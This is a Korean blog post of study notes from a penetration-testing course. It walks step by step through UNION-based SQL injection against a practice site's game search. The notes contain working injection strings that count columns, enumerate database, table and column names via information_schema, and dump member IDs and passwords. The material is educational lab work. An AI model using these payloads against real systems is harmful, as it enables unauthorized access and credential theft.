모의해킹 스터디 6주차 정리

2024. 11. 21. 10:17·모의해킹/모의해킹 스터디

지난주차 -> SQL Injection로 인증 우회하는 방법
이번주차 -> 데이터를 추출

 

sql 인젝션 데이터를 추출할 수 있는 곳

  • DB 데이터를 사용하는 곳(로그인, 회원가입, 게시판 등…)
  • 그 데이터기 화면에 나오는가? 안 나오는가?
    • 웹페이지에 데이터가 나온다 → 게시판
    • 웹페이지에 데이터가 안 나온다 → 로그인, 아이디 중복체크

웹페이지에 데이터가 나오는 경우에서 데이터를 추출하는 방법

  • select * from member where id = '알고 있는 ID' and pass = ' ’ or '1'='1’ 실행
    • 전체 데이터 조회되는 부분 확인

UNION

  • select문을 한번 더 쓰고 싶을 때 사용
  • 하나의 컬럼으로 합쳐서 나옴
  • 마지막 줄에 추가가 됨
  • 컬럼 개수가 맞지 않으면 출력이 안됨
    • select의 컬럼 개수는 일치시켜야 한다.
      • ex) select id, pass from member union select 'test1', '1111'

ORDER BY

  • 출력되는 데이터를 정렬할 때 사용
  • select ~ order by [컬럼명 / 인덱스 번호]
    • select id, pass from member order by id
    • select id, pass from member order by 1
    • select id, pass from member order by 3
      • 컬럼 개수를 벗어나는 인덱스 번호를 정렬 시 에러가 난다.

UNION SQL Injection Process

   1. SQL Injection 포인트 찾기

   2. Column 개수 찾기

   3. 출력되는 column 위치 찾기

   4. DB 명 확인

   5. Table 명 확인

   6. Column 명 확인

   7. Data 추출

 실습사이트

실습 사이트 화면

 

1. SQL Injection 확인

select ~ from [테이블명] where [컬럼명] like '%{검색어}%’
  • select * from game where name like '%over%' and '1%'='1%’  → 결과 나옴
    • SQL Injection 가능

over%' and '1%'='1 실행

 

  • select * from game where name like '%over%' and '1%'=’2%’ → 결과 안 나옴

over%' and '1%'='2 실행

 

2. column 개수 찾기

select ~ from [테이블명] where [컬럼명] like '%{검색어}%' order by [컬럼명/인덱스 번호] [주석]
  • select * from game where name like '%over%' order by 4 # %’

over%' order by 4 # 실행

 

  • select * from game where name like '%over%' order by production # %’

over%' order by production # 실행

 

3. 출력되는 column 위치 찾기

select ~ from [테이블명] where [컬럼명] like '%{검색어}%' union select [임의의 값]x(컬럼 개수) [주석] %’
  • select * from game where name like '%over%' union select 1,2,3,4 # %’

over%' union select 1,2,3,4 # 실행

 

select pass from member를 조회하고 싶다.

select ~ from [테이블명] where [컬럼명] like '%{검색어}%' union select [조회하고 싶은 테이블에서 조회하려고 하는 컬럼명] from [조회하고 싶은 테이블명] [주석] %’
  • select * from game where name like '%over%' union select 1,pass,3,4 from member -- %’
    • 첫번째 컬럼은 출력되지 않으므로 첫번째에 조회할 데이터를 넣으면 안된다.

over%' union select 1,pass,3,4 from member -- 실행

 

4. DB 명 확인

select database ()
  • select * from game where name like '%over%' union select 1, database (),3,4 -- %’

over%' union select 1,database (),3,4 -- 실행

 

5. Table 명 확인

select table_name from information_schema.tables where table_schema = [DB 명]
  • select * from game where name like '%over%' union select 1, table_name,3,4 from information_schema.tables where table_schema = 'segfault_sql' # %’

over%' union select 1,table_name,3,4 from information_schema.tables where table_schema = 'segfault_sql' # 실행

 

6. Column 명 확인

select column_name from information_schema.columns where table_name = [테이블명]
  • select * from game where name like '%over%' union select 1, column_name ,3,4 from information_schema.columns where table_name= 'member' -- %’

over%' union select 1,column_name ,3,4 from information_schema.columns where table_name= 'member' -- 실행

 

7. Data 추출

select ~ from [테이블명]
  • select * from game where name like '%over%' union select 1, id, pass,4 from member # %’

over%' union select 1,id,pass,4 from member # 실행

728x90
반응형
저작자표시 비영리 동일조건 (새창열림)

'모의해킹 > 모의해킹 스터디' 카테고리의 다른 글

모의해킹 스터디 CTF 문제 - Login Bypass 2  (0) 2024.11.22
모의해킹 스터디 CTF 문제 - Login Bypass 1  (0) 2024.11.22
모의해킹 스터디 CTF 문제 - Pin Code Crack  (1) 2024.11.20
모의해킹 스터디 CTF 문제 - Admin is Mine  (0) 2024.11.19
모의해킹 스터디 CTF 문제 - PIN CODE Bypass  (0) 2024.11.18
'모의해킹/모의해킹 스터디' 카테고리의 다른 글
  • 모의해킹 스터디 CTF 문제 - Login Bypass 2
  • 모의해킹 스터디 CTF 문제 - Login Bypass 1
  • 모의해킹 스터디 CTF 문제 - Pin Code Crack
  • 모의해킹 스터디 CTF 문제 - Admin is Mine
BPM37093
BPM37093
luna의 IT기술 정리
  • BPM37093
    IT Study Log
    BPM37093
  • 링크

  • 글쓰기 관리
    • 분류 전체보기 (43)
      • 모의해킹 (37)
        • 웹해킹 (1)
        • 모의해킹 스터디 (36)
      • Web (5)
        • 웹 보안 (1)
        • 웹 크롤링 (1)
      • Data (0)
      • Cloud (0)
      • Network (1)
  • 인기 글

  • 방문자 수

    방문자수Total

    • Today :
  • 태그

    WEB
    Network
    httprequest
    티스토리챌린지
    sqlinjection
    mysql
    웹해킹
    burpsuite
    메서드
    HTML
    NAT
    SQL
    hash
    HTTP
    모의해킹스터디
    php
    상태코드
    Chrome
    오블완
    javascript
    HttpResponse
    웹개발
  • hELLO· Designed By정상우.v4.10.1
BPM37093
모의해킹 스터디 6주차 정리
상단으로

티스토리툴바